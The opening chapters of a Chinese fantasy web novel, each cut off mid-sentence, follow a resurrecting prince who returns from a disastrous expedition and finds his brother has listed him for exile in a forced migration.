《无限复活但大家都在保我》 1. 困扰 《无限复活但大家都在保我》全本免费阅读 许多血皑城的市民都没见过二王子杜光欧的真容,只知道他是个有福不享的怪人。 这是个没有夏天的世界。两百年前的大寒潮后,许多物种从大地上消失,适合人类生存的地块屈指可数,统治者们围城自保,居民们无事不外出。 在这所有人之中,杜光欧是个绝对的异类。 他从小就不安于待在王城的小小温室中,所以十五岁那年,向自己的城主父亲递交上去了加入远征队的申请。 “天在落雪,人要呼吸,儿要出城。” 在这份荒诞面前,年长者给予了尽可能的宽容,与年轻人立下了十年之约。 “从现在开始十年,你和你哥两个人比业绩,他主内你主外。”父亲说,“要是最终你能在成果上超过你哥,我便可以允诺你下个自由的十年,不然的话就乖乖留在城里辅佐他。” 十五岁的杜光欧欣然应下。他兄长是很有能耐,但且看他再胜他一筹。 于是乎,充满斗志的少年就这么上路了。 最初他只能跟在别人队伍的屁股后面,从三件套御寒穿搭开始学习。 后来有经验了,仗着王室身份理直气壮地从别的队伍里挖人,自己成立了远征一队。 伙夫,信使,驯鹿,制图员,谈判专家,地质勘察员,天气预警员……队伍逐渐壮大,却也收获城中居民们越来越多的微词。 这个二王子不待在王城里享受温暖的火炉和美酒佳肴,反而带着一帮同样脑袋不太灵光的人天天往外面跑。远征一次的花销可不小,仪器设备,驯鹿物资,什么都配得是顶级的,这不是拿着他们上交的公款随便挥霍吗? 不过,这些抱怨随着一次次远征越来越少。居民们发现自己的投入居然是有回报的,二王子虽然带出去的物资多,但是他带回来的更多呀。 远征队每次都收获颇丰。没见过的菜种让居民们的伙食种类丰富了,见效快的改良药材使更多人免受风寒的折磨,与河畔城邦的友好外交,也让各种水产出现在四周贫瘠的血皑城中。 更有甚者,远征队还冒着被打的风险去其他城池偷技术。御寒纺织工艺,温室栽培指南,还有各种各样的便民发明,就连驯鹿皮毛保养剂他们都不放过,有一次甚至把人家里的新式节能壁炉拆下来给整个搬回来了。 居民们享受着这些好处,但是暗地里还是觉得那些远征队里的人精神不太正常。 尽管天气恶劣,资源稀缺,可血皑城从很多年前起就已经能够自给自足,在南陆可以称得上是繁华的城市。那些新技术新发明虽好,却也不过是锦上添花。只要老实地在城里待着,一辈子很轻松就能安安稳稳度过,干嘛非要冒着生命危险往外跑呢? 这些风言风语传到杜光欧的耳中,他不屑一顾。 有人习惯安逸,有人喜欢探险,两种生活方式而已,井水不犯河水不好吗。他都没说那些居民一个个胖得都快成待宰的猪了,他们反倒还骂起自己疯癫。 就是因为城里的人是这么安逸慵懒,他才会想要离开。 不过也是,在外人看来,远征队朝外部探索的方式是自杀式的。 世界地图上有数不清的迷雾,那些都是在大寒潮后未经探明的板块。然而,没人敢闯的无人区他们如履平地,险峻的地貌他们趋之若鹜,整支队伍仿佛不知恐惧为何物。 关于这点,杜光欧要反思。毕竟这种不要命的风气是他带起来的。 这也不能怪他,当人拥有一种能无限复活的神力之后,是个坑都想踩。 通过以身犯险,杜光欧为整支队伍规避了不少危机。他带队以来,远征队的存活率从曾经的二三十直逼八九十。 复活神力简直好用。 只是有一个小小的问题。 能力发动正常的流程是,在他受到致命伤时,时间会回退至死亡之前。 时间会回退,也就代表,没人记得他死过。 犹记二十岁那年,杜光欧和最好的朋友去野外郊游爬山。到了山头时,好友却突然把他推下悬崖。 他满脸是血爬回顶峰,拔剑质问何故谋杀。 “听说你,不会死。”好友在他剑尖的胁迫下人畜无害地笑着,“所以我,想试试。” 除这个真的会对他动手实践的“好友”以外,没人相信他不死。 所以他成了奇迹。 在队员眼中,他是幸运值爆表的天选之子。 在距离看似平平无奇、但实际能吞人的“雪地沼泽”一米的地方,他突然驻足,带领还没看清楚情况的队员绕路通行,最终无人伤亡。 在露营地休息时,他尝试新做的弓箭,随便一箭射出去,却听丛林里悲鸣一声,众人跑过去查看,只见一只潜伏其中的巨型吃人熊已经两眼一翻口吐白沫。 抵达了欲与其建立友好外交的城池门口,一方领主甚至亲自动身出城迎接,他却认定此处风水不好,话也不说扭头就走,队员轮番劝他也徒劳无功。本以为他是心情不好耍王室性子,后来才得知该城早已设下埋伏,他们但凡进城必将遭遇截杀。 诸如此类的危机总能被他化险为夷。 而杜光欧也很乐意为队员们无偿开路。 但渐渐地,随着他激进的行事风格越来越严重,周围的人奇奇怪怪的小动作也越来越多。 简单来说,他们开始限制他的行动了。 一次,远征队抵达一条很宽的结冰河流,杜光欧想第一个踩上去看看冰面牢不牢固。刚踏上去一只脚,队伍中一个干过屠夫的强壮工匠却提着他的衣襟把人拎了回来。 “你这样我很没面子。”杜光欧像个鸡仔一样被拎着,但神态平静。 “您死了我们更没面子。”强壮工匠说。 还有一次,他在山沟沟里发现一株通红的未知品种果实,打算先尝一口试毒,刚塞进嘴里,却被队伍里有正骨经验的医师一下子卡住下巴,红果子被无情地掏了出去。 “队长,这玩意狗都不吃。”医师说。 “就是说,偶尔我也没那么想当人。”杜光欧无力地抗议着。 像这样的事情发生太多次了,他每次都试图规劝队员们放弃救他,但是他们总是把头一扭充耳不闻,该阻拦的时候绝不手软,该挡刀的时候一个比一个积极。 杜光欧很无奈。很多时候只要让他死一死,开个路,许多困境就能 2. 大迁徒1 《无限复活但大家都在保我》全本免费阅读 什么都没了。 七十二人的队伍一年前出城远征,如今回来的却只有一个零头。 天不再下雪,可杜光欧还是觉得很冷。脚下是去往血皑城的官道,他脑袋里除了回家以外什么也没想。 他什么也不能想。 路过一个车轨形成的十字路口,他感觉背后有些沉重。 回过头去,看到背上最后一名队员闭着眼睛,表情冷漠。 自从最后一头驯鹿也死在平原的边界,远征队就只剩下他们两个了。 “夏潜。”杜光欧呼唤背上的人。他一开口,冷风便钻入他的气管,所以只干巴巴叫了个名字,就又缩回了干硬的围巾之中。 背上的少年很冷淡,一句话也不回答他。 自从七十名队员接二连三地死去,少年的话就变得越来越少,而在那头任劳任怨的驯鹿也倒下后,他便彻底不再说话了。 杜光欧知道,对方大抵是在埋怨他。 让那七十人身死异乡,他作为远征队队长,不敢说没有一点责任。 如果是因为这个少年才保持着沉默,那就随他去吧。 活着的人总该比死人重要,现在最重要的事是继续走下去。 等回到了家乡,怎样的斥责和惩罚,他都接受。 ## 穿过一片白茫的旷野,一个巨大的盆地缓缓出现在视野之中。 这是种在南陆极其少见的地貌,就像是曾有陨石坠落,在平野上砸出了一个突兀的凹陷。 而在那凹陷之中,一座城市拔地而起。它紧凑、富饶,那便是杜光欧的故乡——血皑城。 远眺那俢建得高耸的城墙,他望眼欲穿。仿佛能看见热闹的市井,家中常燃的壁炉,热腾腾的柴火灶,还有仆役端来的美酒佳肴。 很快,这一切都将不再是他脑海中的想象。 高耸的城墙越来越近,周围也渐渐有了人烟。越来越多的车轨出现在脚下,由简至繁,向城市聚拢,那是商人们曾一遍遍走过的道路。 他看到,南城的城门下排着一条长队。进城人员躲在城墙下遮风,他们稀疏地站着,与身旁人的低声交谈,或者抱着自己取暖。 南城的大门虚掩着,远远望去,似乎没有任何进城人员被放进去的迹象。 杜光欧来到队伍的尾部,又沿着长队往前走。排队的人像蚂蚁一样垒在城墙下,他们看上去已经在这里待了有一阵了。 大雪刚过,天气严寒,这些人恐怕没办法继续在这里坚持太久。 ……发生什么事了?为什么不放人进城? 杜光欧的心中窜出疑问。 “喂,小子。” 就在他怀揣着心事、步步往前走时,一个浑厉的声音叫住了他。杜光欧回头望去,只见叫他的是个壮年男人,对方站在队伍里,靠在墙角下,身穿有些破旧的鹿皮大氅,头戴兜帽,锐利的目光从帽沿下刺出来。 “去后面排队。”男人说。 杜光欧看了眼队伍的末尾。他刚刚才背着自己的队员从那里一步步走过来,他知道它有多长。 杜光欧又回过头来,盯着男人。 起先,他什么也没说,只是沉默地看了他一阵。 对方不知道他是谁,如果知道他是谁、知道他一句话就能改变众人在这里受冻的处境,男人显然不会这么对他说话。 “我朋友病了,急需救治。”杜光欧道。 男人抬眼,往他背后一扫,耸耸肩,“这里很多人都病了。” “他病得很严重。” 说完这句话,杜光欧错开了目光,不打算再耽搁下去。男人虽然找他的茬,但似乎没有动手阻止的意思。 他颠了颠身后的人,继续往南城城门走。背上的重量不知为何有点轻,但触感却像是石头。 远远地,刚才那目光锐利的男人似乎在嘟囔些什么,杜光欧听不太清,只依稀从凭借语调辩别对方的话,而男人说的是—— “那已经不是病得严不严重的问题了吧,那人已经……” 他充耳不闻。 来到队伍的最前方,停在南城的城门口下,只见大门微敞,有几个城防军看守此处。这里原本应有一个木台,用来核验入城者的身份,为不明背景的人登记。可那桌台现在没了,也不见城防军履行他们的职责。 杜光欧不明白这是怎么回事,他抬腿接近入口。 一个士兵靠在城门边,手里捏着一本巴掌大的书,轻松惬意地翻阅着。杜光欧的身影出现在他的视野里,士兵头也不抬,说道:“大迁徙队伍即将出门,入城队伍稍缓,请去后方排队。” 他语气是客气的,态度却是散漫的。 杜光欧向士兵的身后望去。在他背后,巨大门扇的遮掩下,有一口燃烧正旺的大火盆,两三个小头领围坐一圈,像是不知外界风霜,正嬉笑说闹。 杜光欧眨了眨干冷的眼睛,目光漠然。一团热气从他的口中呼出,他张嘴,用足以让所有人听见的音量说道:“远征一队队长杜光欧,申请入城。” 他这话一出,那看书的士兵猛地抬起头,眼睛大睁,脸颊绷得很紧。围在火盆旁的小头领也噤了声,探头过来打量。 “二……二殿下回来了。”士兵扔了书,转头就往城里跑,“通知军长,二殿下回来了!” 那人一溜烟消失在了城门后面,留下围在火炉边上的头领们和他面面相觑。 “二殿下……” 人们很惊讶,这在杜光欧的意料之中。毕竟,他比原定计划晚了一个月才回来,期间未曾和血皑联络,恐怕父母已经派出过搜查队,但是一无所获。 风雪无情,在暴风雪中失联一个月,这基本已经宣判了死刑。 想必他的家人都很担心他,为此胆惊受怕,因为他的失联而焦头烂额。但没关系,他还活着,而且他很快就能和他们见面了。 见面之后,他有很多话要和他们说,还有很多事要做。这一年间发生了太多,远征队终于打通了去往远海的商路,却在最终遭遇了不测。他要向父亲汇报结果,立刻派出救援,或许那座雪山之上还有幸存者。而他背上的奄奄一息的少年,也急需送进王城接受最好的救治…… 边想着,杜光欧边往前走。突然,铿锵的击铁声切断了他的思绪。两个高大挺拔的城防军站在他面前,两把长矛呈一个十字,拦住了他的去路。 “二殿下,没有军长的同意,我们不能放你进城。” 杜光欧眼中一暗,心生怒意。他着急进城,而这些个城防军却无缘无故阻拦他,“从什么时候开始,我入城需要获得城防军长的首肯了。” “规矩一直是这样。” “让开。” “部下不能。” “你们没看见有伤员吗?” 两个城防军你看看我,我看看你,又看看杜光欧背后的人,“二殿下,您背上的人已经……” 一阵嘈杂打 3. 大迁徒2 《无限复活但大家都在保我》全本免费阅读 “您不相信也是可以理解的。”城防军长道,“我刚拿到大迁徙名册的时候,也不敢相信您的名字在上面。” 杜光欧盯着眼前的男人,对方头盔下的神情另人厌弃,就像是地沟里的老鼠,一双精目上下打量着,让人不适。 城防军长的面容在扭曲,杜光欧不太确定是不是自己的眼睛出了问题,他越看,越觉得对方在说谎,再不济也是在隐瞒什么。 如果真的被他唬住了,才是上了他的当。 量这些人不敢对他做什么,也无暇再与这人纠缠下去,杜光欧头一低,背一弓,一声不吭便往前走。 城防军长没反应过来,被撞得一趔趄,一身重甲像个铁罐子似的叮咣一声碰在墙上。他未等站稳,直喊道:“拦住他!” 四五士兵丢了武器,围拢上来,形成一堵不容小觑的人墙。就算此刻是头麝牛站在这,也恐难冲破得了防线。 “你们还真敢拦我?” ——他们疯了?谁给他们的命令,是谁允许他们这么做的? 士兵围上来,似乎是想要生擒他。杜光欧背上驮着人,不方便施展身手,加之身体已经接近极限,只是被推搡几下,就感觉脚下有些站不稳了。 “你们……” “得罪了,二殿下。” “你们最好想清楚了……” 杜光欧在人墙中挣扎,却感觉自己一点力气都没有,像是被卡在了岩石中间,那些铁制的盔甲构成牢笼,原该是血皑的防线,此刻却用来围困他。 一片混乱之中,杜光欧尽力让自己不要跪在地上,他的自尊不允许这样。这些玩忽职守的城防,莫名其妙就将他拒之城外,说什么他在“大迁徙”的名单上,他绝不可能向这些别有用心的小人屈服。 他强撑着,想从地上重新站起来。便是在这个过程中,他听到噗嗤一声,像是什么东西刺进布料里。 离杜光欧最近的士兵露出惊恐的神色,看上去年纪不大的城防军松开了他,连连后退,嘴唇翁动,“啊……” 另一个城防军也松开了手,面色惨白,“军……军长!” 几个城防军都放开了他,杜光欧重获了自由。 他有些茫然,这些士兵突然都不压制他了,明明上一刻对待他就像对待一个囚犯一样。 虽然不知道是怎么回事,但既然放开了他,就证明城防军已经意识到他们刚才在做的是件多么荒唐的—— 杜光欧刚挺直上身,便感觉胸口传来一阵撕心裂肺的痛楚。他嘶了一声,低下头去,眼睛蓦然大睁。 在他心脏的位置,明晃晃地插着一把匕首。短刃嵌入身体,木制的刀把留在外面。 痛楚蔓延得很慢,寒冷让知觉迟钝,浸出来的血成为第一个讯号,告知杜光欧此刻发生了什么。他捂着自己的胸口,缓缓蹲下,再也担负不起肩上的重量,夏潜从他背上一点点滑了下去。 “谁做的!”城防军长的怒吼声传来,他跑过来,却像是被眼前的景象震住了,不敢再上前,“谁干的!谁让你们这么做了!?” “军、军长,刚才场面太乱了,匕首突然就出现在二殿下胸前……” “混账!他就算上了大迁徙名单也还是城主之子,这么棘手的人你让他死在我地盘是他妈的不想让老子活了吗!?”城防军长揪起刚才说话的部下,朝他吼完,又把人甩出去,对在场的其他士兵质问道,“谁的匕首,谁他妈藏了个匕首,给我出来!” 凶器已经丢出去,自然是无人认领。 “妈的,去叫医师,必须把他给我救活了!来人,给我把这几个绑起来,不查出是谁动的手,你们一个也活不了!” 嘈杂声中,杜光欧隐约觉得有人停在他面前,他看不清,怎么努力眨眼,眼前还是煞白一片,像是有人在他头上蒙了层白纱,如何都无济于事。 疼痛在身体里横冲直撞,叫他苦不堪言。 在明灭不定的意识间,他想道,这些城防军果然有问题,伪造“大迁徙”的文件不说,军队里居然有埋伏他的刺客。 这人肯定以为自己已经得手了,现在正在一旁欣赏他的死状,看当今血皑城的二王子是如何卑微地匍匐在地,血尽而亡。 可惜,他是不会让对方如愿的。 胸口传来轻微的异动,眼前的人影晃了晃,颤动的身形昭示出救援人员的慌张,流露出医师在每一个将逝生命前难掩的紧迫。 然而,被救治的人却率先选择了放弃。杜光欧平静自己的身体,抛弃求生的念头,任血流,待时间将他带走。 “别。别动他。会让血流得更快。” “怎么看都已经……” “军长,我们该怎么办?” “怎么办……问我怎么办?救不活他你觉得我们还能活得了吗?!” 听着这些交谈,杜光欧也想开口告诉他们:不管怎么样,他们都没有明天了。 等他进入王城,他会给罪人定罪,后半生,都别想好过。 但是,他说不出话来,张口也只是意味不明的呢喃。意识在离他远去,视野也寂灭,耳畔归于宁静,他再也感觉不到侵扰他许久的严寒。 随那些一同消散的,还有他这条不幸走上亡路的性命。 …… …… …… 巨大的城门投下一片阴影,寒风吹过,激起地面的落雪。 杜光欧睁开眼睛,视野中,身披甲胄的城防军长站在他面前。对方手里拿着一本名册,城防军的领袖正用他粗壮的手指笨拙地翻动它。 “一年前,远征一队出城,队伍总共七十二人,人员构成有……唔,名字太多,我就不一一念出来了。”城防军长抬头,看了眼他面前的人,“这么看,最终只有您回来了?那剩下这些人名,我就划掉了。” “……” 城防军长在纸上画着线,纸笔间发出磨擦声,一笔接一笔,一划接一划。 当今血皑的城主次子便站那本册子的另一边,沉默地盯着。 沙沙,沙沙。 人名一个个抹去,杜光欧的目光迟滞地停在上面,没有焦点。 “名字太多了……”军长翻了一页,嘀咕着。 远征归来的人低下头,向自己的胸口看去。皮革做的护胸挡在前面,没有一丝破损的痕迹。 他动了一下,感受到背上的重量。杜光欧回过头去,看到一个戴着皮帽的脑袋,名为夏潜的少年靠在他的肩膀,不醒人世。 一阵冷风吹过来,将意识吹得清明了几许。 他眨了眨瞪得有些干涩的眼睛,接着,属于一个血皑王室的冷厉又回到他的眼中。 ——成功了,能力发动了。 他眼前的这一切就是证据。 空荡荡的胸口,背后的夏潜,清点人名的城防军长,固守在城墙下的士兵……一切都回到了原处。 起死回生,他又一次做到了。 果然,上天是眷顾他的,赐于了他这种能力就是最好的证明。 死亡在他面前不值一提,只要有这种能力傍身,他就不会死。 那个屈辱死去的杜光欧,已经被时间抛弃了。现 4. 大迁徒3 《无限复活但大家都在保我》全本免费阅读 杜光欧将夏潜安置在地,让他靠在的城洞底下的角落。用目光凝望了他片刻,像是在说,稍等片刻。 “事情就是这样,您在大迁徙的名单上,而这个名单所拥有的效力,您也是知道的……” 城防军长的声音从他背后传来,杜光欧闭了闭眼,从地上站起来。 在他起身的同时,一阵清亮刺耳的响声随之而来,他手腕一转,腰侧的配剑脱鞘而出,寒锋突刺,直指城防军长。 士兵们发出惊呼,血皑南部城防的最高负责人此刻命悬一线,他们想上前却又不敢,只因那剑锋随时都能斩断他们首领的头颅。 如冷月一般的光芒在血皑王室的眼中闪动,“不想死就让开。” “二、二殿下!请不要动怒,我们也是奉命行事……” “奉谁的命?如果是奉父亲的命,你们就说‘二殿下来势汹汹,部下无能为力’,他会理解的。” 剑锋停在军长的脖颈上,男人满脸为难,“这……” “怎么了,做不到?” 军长咽了口口水,“……不是城主。” “哦,这么看来,是杜光遗或者我母亲把我写在大迁徙名单上了。”杜光欧先是露出恍大悟的神情,转瞬之间,他眯起眼睛,凛视其人,剑锋前压,步步紧逼,利刃在军长的脖颈划开一道血痕。 刚才说要杀人时,他不是在玩笑。 “你们当真以为我会信这种鬼话。” “二殿下……” 就在这气氛无比紧张的一刻,城门突然发出转动的闷响,半掩的大门向两侧徐徐展开,一个军官里面跑出来,拔高了嗓子大喊。 喊声在城拱中回响,转瞬便传出城外。 “迁徙大队出城,让路——!” 从那城门后走来的是一只有序的队伍。一人在前领队,后面跟着载人的车,然后是徒步行进的人,最后是拉货的雪橇。 与那肃穆的、黑压压的大队不同,在前领头的是一只白色驯鹿,那鹿长得高大,皮毛油亮厚实,背上盖着王室印花的鞍鞯。 白鹿上坐着一个男人,银裳白裘,头戴银冠,他有一头打理得非常利落的短发,灰色的眸子与杜光欧如出一撤。 男人的目光投来,声音紧随而至,“城内就听见你的声音了,光欧。不要责难军长,这次大迁徙的事宜由我负责,有什么事,来问我。” 杜光欧有些傻眼地盯着出现的人物,连军长从他手下逃脱了出去,他都浑然不觉。 领头的白衣男人牵着手中的缰绳,引着白鹿向前,踏入了这一片混乱之中。他的视线垂落,一缕额发坠在他的眼前,视线扫过城防军、还有靠在城角下毫无生气的夏潜,又远远眺望出去,像是在看那不见尽头的入城队伍。 杜光欧在看到对方的一瞬间就愣住了,来者是他最熟悉不过的人,当今的血皑王储,备受民众爱戴的大殿下,他的兄长杜光遗。 那是他一年未见的家人,但是,此刻,杜光欧心中没有重逢的喜悦,只有接连而生的疑惑。 为什么杜光遗会出现在这里? 兄长显然不是来迎接他的。这些年来,杜光欧出征十余次,每次回城前,都会叫人连夜先行赶回血皑通报远征队归来的消息。城门通往王城的主路便会临时清理出来,作为凯旋仪式的大道。有时,这个仪式由城主杜义主持,但他政务繁忙,所以偶尔会交托给城主夫人黎礼或公主黎梦。 远征的道路凶险异常,每次出城都是一场豪赌。但它能建立起商道的桥梁,探访无人可知的大地,发现新的机遇,为城市带来可观的经济效益,所以,城民们每一次都自发地聚集起来,满怀热情地恭迎这只队伍,庆祝新一轮的收获——起码他们表面上是这么做的;也是因为知道这条道路的凶险,家人们总会第一时间赶到,不为了这只队伍的收获,只是为了接他们的亲人平安回家。 然而,就是在这样的一个仪式上,杜光欧从未见过杜光遗的身影。自从他接手远征一队以来,八年间,血皑城的大殿下从未参与过二殿下的凯旋仪式。 所以,不管怎么想,当下,他备受民众喜爱的兄长出现在这里,都不是为了迎接他。 而且,开路官已经说得很明白了,杜光遗身后那只队伍也是证明——他只是为了“大迁徙”的事情而来。 白鹿背上的身影十分挺拔,杜光欧不得不抬头才能和杜光遗对上视线。 “刚才的话是什么意思,兄长?” “这次的大迁徙队伍,由我带领送达。” “名单你看过了?” “嗯。” “那名单有问题,上面有我的——” “不,它没有问题。”杜光遗的视线投下来,严肃的表情中看不出他心中所想,“你的名字是我写上去的,印章也是我盖的。” 这话听完,杜光欧只觉彻身凝固住了。他刚才还信誓旦旦坚信不会是亲人所为,下一刻,杜光遗就告诉他,那名单是他亲手所撰。 这怎么可能?兄长为什么要这么做? 杜光遗俯视着他的二弟,威严投掷而下,“光欧,归队。” 杜光欧摇着头,连连后退,刚才要杀人的煞气已然不见,深沉的茫然困住了他。 “你为什么把我写进名单里?” “……” “凭什么,你有什么权力这么做?” “我的确有那个权力。” “父亲准许了吗?” “父亲自然看过名单。” “放屁!” “注意你的言语。”杜光遗皱眉,神色不悦。 看到杜光遗是这样的态度,杜光欧只觉得通身寒凉。他往后退去,靠在坚硬的城墙上,用沉默表达自己的抗拒。 他们一年不见了,他就是用这种方式迎接他吗? 不关心自己为什么迟迟不归,不关心远征队都去哪了,连哪怕一句相关的问询都没有。夏潜倒在那里,他身后空无一人,整只远征队七十二人出征,回来的仅有他一个人。他衣衫褴褛,早就没有了刚出发那时的光彩。他什么都没了,整只队伍、还有那只队伍所代表的希望都没了,他们曾发誓要踏足每一寸土地,翻过连绵的横古山脉,穿越极寒的叱云颠,将文明的希冀带去每一个聚落。可是,现在,那个满怀壮志的队伍已经哪都不在了,他作为那只队伍的队长,正在经历他人生中最昏暗的低谷。 兄长难道看不到他的 5. 大迁徒4 《无限复活但大家都在保我》全本免费阅读 就在此刻,他还来不及做什么,只瞥见余光里有一道阴影袭来,杜光欧下意识抬手,抵御在头前,可对方却是冲着他的腰来的。一个猛扑,他和那人双双从鹿上摔下。 “唔!”硬摔在地上的滋味并不好受,杜光欧一阵头晕眼花,半晌才辨清那扑倒他的是王城精锐之一。 那些士兵都是血皑顶尖的高手,行事雷厉风行,此刻更是将这种实力显露无疑。不需要杜光遗一句句给他们下令,他们知道此刻应该做些什么。一个扑上来还不够,见杜光欧落地,他们竟是一齐上前,用无数双拳手将他压制在地。 杜光欧丝毫动弹不得,他本就因为长途跋涉而不剩多少力气,面对的又是这群王城供养的精兵,更是无计可施。 “按之前说的,拿东西过来。” 白色的衣摆晃动,杜光遗拍了拍身上的尘埃,靠近被制伏在地的人。他吩咐精锐做事,声色如常,没什么波澜。 杜光欧抬不起头来,甚至话都说不出来,身体严丝合缝地贴在地面,没有丝毫尊严可言。被这般对待,火气无法控制地在胸腔里横冲直撞,他感觉自己正处在爆发的边缘。 一阵急促的脚步声传来,有人来了,站在杜光欧的面前。与此同时,他感觉身上的桎梏松了几许。 杜光欧抬起头来,看到对面的景象,此刻,他才明白刚才杜光遗所说的“东西”是什么。 那是一根粗壮的麻绳,一个精锐将它扛在肩上,杂乱的尾部在土地上拖拽、磨擦。那粗细不像是用来栓人,更像是用来栓牲口。 几个精锐手脚麻利,把人抬起,三下五除二将他捆得结结实实,又将他擒拿在前。杜光欧挣扎无果,双目生红,“敢用这种东西绑我——” 精锐未曾因他的身份而手下留情,他们公然逾矩。杜光遗淡然地注视着,仿佛事不关己。 这一阵骚乱发生后,熙攘的议论声从外周传来,城防军、迁徙大队,以及城外的入城队伍,所有人都将这一场意外看进了眼中。 “传闻大殿下和二殿下关系不好,看来是真的。” “这也太不留情面了。” “真狼狈啊……” 杜光欧的太阳穴砰砰直跳,那是怒火在血管下焚烧,“开什么玩笑……” 开什么玩笑。 杜光遗把他当成什么了? 那些平民和流放者都在看着,一双双嘲弄的眼晴、讥笑的嘴脸,他们在看他的笑话。看一个王室如何卑微地被牲口绳捆起,丢进大迁徙队伍,狼狈地放逐。 地位低下者最喜欢看权者倾颓,他们必然观赏得津津有味。杜光欧确信如此。 ——杜光遗,这就是你想看到的吗? 杜光欧抬眼,双目猩红,瞪着这一切的始作俑者。 然而,血皑王储此刻已不再理会他,男人单手一挥,转身而去,“带上人,进发。” 精锐将他搀了起来,压向近处停靠的木车。走向那车辆的短短几步中,杜光欧的脑海里一片翻江倒海。 愤怒挤压他的大脑,最终只留下一个想法。 他要让所有人忘了这一切。忘记他的屈辱。 想把他打入大迁徙的队伍,将他这么肆意地流放,他不容许。他决不会加入那只悲惨的队伍,被送往不知名的荒地。 这一切必须重来。 然后,他会让冒犯他的人付出代价。 杜光欧低头看向自己的腰侧,配剑在刚才的混乱中丢失,不见踪影。想要触发那种可以回溯至过去的能力,首先他必须“死去”才行。但现在,他双手被缚,行动受限,想死,还不是什么容易事。 在这方面,他没什么经验。他经历过许多次死亡,可从来没有主动寻求过它。这还是第一次被逼上绝路,主观选择赴死,以达成重新来过的目的。 虽然看似束手无策,但或许,他可以试试残忍些的做法。 精锐并没有捆住他的嘴,这是他们的疏乎,或许认为没有必要,而这给了杜光欧一个机会。 他决定咬舌。让自己的肢体残缺,让鲜血鱼灌他的咽喉,在那之后,他就会死去。 死去,而后获得新生。 想到这里,杜光欧张嘴,将舌头探出去。他有一瞬间的犹豫,要对自己下手,想出来容易,做起来难。即便知道自己不会真正地死亡,可身体依然因本能而恐惧。 他定了定神,告诉自己,不咬下去的话,等待他的只有更悲惨的命运。想想这一年的经历,想想对家的思念,想想那些命丧雪山的队员。他非这么做不可。 然而,就在他刚下定决心之时,有人接近他的背后,紧接着,一根粗麻绳穿过眼前,一只手掰开他下颚,麻绳卡入嘴中,瞬间收紧,绳尾牢牢系在脑后。 “唔!?” 他咬不下去了。 “不要让他得逞。”杜光遗的声音从上方传来,他似乎已经骑回了白鹿之上。 杜光欧面朝木车,几乎半个头都被压进车厢,自然是看不到对方。他僵持在车门口,双眼圆睁,觉得不解。这究竟是巧合,还是他们知道自己打算做什么? 不,不可能,自己的行为不可能被预料。这些人绝不会知道自己的能力,世上知道这件事的人曲指可数,而王城精锐显然不在这个范畴里,杜光遗也不在。 难道只是因为发觉他要咬舌,出于防止他自杀的目的,而阻止了他吗? 杜光欧拧动自己的脖颈,终于看到白鹿背上的血皑王储。对方平静地注视着这一切,没有发表任何的感想,他拽了拽缰绳,调转鹿头,向队伍的前方踱步而去。 不对,如果是认为自己要自杀的话,就算是那个对他漠不关心的长兄,也该说两句什么。然而,看他的样子,就好像知道会发生什么一样。但是,这怎么可能……? 杜光欧的计划失败了,他最终还是被士兵押送上了木车。车里很暗,空无一物,他们留下了一个精锐在车厢中看守他。 队伍开始移动,传令官的喊声响起,“快步行进,明日抵达邯泪!保持队伍紧凑,落伍者不予援助!” 邯泪镇位处血皑城西南,是去往琉城的必经之路。近两年,大迁徙频繁往琉城疏散人口,琉城虽叫城,但却是片城市残垣,它在数十年前的陨石天灾中毁于 6. 大迁徒5 《无限复活但大家都在保我》全本免费阅读 他累了,折腾了这么久,神经一直绷得死紧,闹得脑袋里隐隐作痛。跋涉归来的疲惫在此刻倾泻而出,他突然感觉四肢无力,大脑昏昏沉沉。 让他休息一下,不要多久,只需给他片刻养精蓄锐的时间,等他缓过来,无论通过什么手段,他一定会摆脱当下的困境。 车辆在摇晃中行进,意识在断续地沉浮。 杜光欧不知道自己昏过去了多久,意识朦胧之间,一阵响亮的吆喝声将他吵醒。 “全队原地休息,夜半时出发!” 杜光欧斜眼向窗外望去,却见外面一片漆黑,似乎夜已经深了。 木车外传来敲门声,车内的精锐听见了,起身走过去开门,跳了出去。 杜光欧依然盯着车窗外,一种茫然降落在他的全身。这一瞬间,他好像不知道自己在哪,也忘了自己是谁。 “呃、现在吗?可是这辆车不太方便……” 外面传来精锐的声音,他似乎在和什么人交谈。 “不,不是为难二位,只是里面的东西动不了。” “我们只是借用一下啊,裙子太不方便了,老姐要换衣服。” 外部传来女人的声音,杜光欧不经意间听闻,总觉得那声音十分熟悉。注意不由得从漆黑的天幕转移,来到了车门前的交谈上。精锐出去的时候带上了门,他看不到外面的情况。 “这样吧,我带二位去其它的——” “磨磨叽叽,让你借车你就借!” “等等,您不能进去!” 一阵骚乱之后,有人登上木车闯了进来。杜光欧望去,只见一个年纪不太的女人跳了上来。女人看了他一眼,没表示出惊讶,只是回过身去,又拉了一个人上来。 “慢点,姐。这车太破了,全是木茬。” “两位!” 精锐也跟着进了车厢,一时间,本还宽敞的木车顿时水泄不通。杜光欧靠在最里面,两个女人在正中,而后来的精锐拦住了她们的去路。 “唔?”杜光欧嘴中发出疑惑的声音,他直起了上身,看着面前两个年轻女人,发觉自己认识她们。 那两人是董氏姐妹,乃血皑城贵族一支。姐姐名叫董莉莉,妹妹名叫董夜明。两人个头差不多高,模样也相近,性格却迥异。杜光欧与她二人中的姐姐来往很多,那个留着一头大波浪卷的女人,曾是他远征队中的制图员。一年前出征时,董莉莉因家父董清驳阻挠,而没能入队。 先跳进车里的是年纪小些的妹妹,董夜明。杜光欧与她来往不多,只通过董莉莉和对方见过几面。与姐姐的开朗大方不同,妹妹的个性更阴沉,厚重的黑发扎成两只粗麻花辫,一左一右垂在脑后。 看到她们,杜光欧只觉得万分不解。她们两人怎么会出现在这里? “二位也看出为什么不便了,快请出去吧!”精锐兵无奈、恭敬地向两人劝道。 小妹董夜明的目光坠在杜光欧脸上,了然一般说道:“看来确实不怎么方便。” 而后,她十分配合地往车门口移动。 “别处还有空车,我带二位过去。”精锐道。 “不用了。”董夜明来到精锐的身侧,突然,她目光一凛,出手快得只剩残影,在对方还没有反应过来时,就抽走了士兵的配刀。 “您——!” 咚一声,铁制的刀鞘砸精锐面门上,还没等他哀嚎出声,又是一计砸在后脑。 男人顿时没了动静,软趴趴倒了下去。 董夜明面如静水,毫无波澜,动作行云流水,十分熟稔,仿佛那刀在她的身边跟了八百年一样。 两姐妹配合无间,妹妹把人敲晕了,另一边,姐姐早就关上了车门,将这里发生的一切与外界隔绝开来。 “夜明,你下手太重了。”姐姐董莉莉说。 “死不了,我有分寸。” “只是死不了?” “别的我不敢保证。”董夜明道。 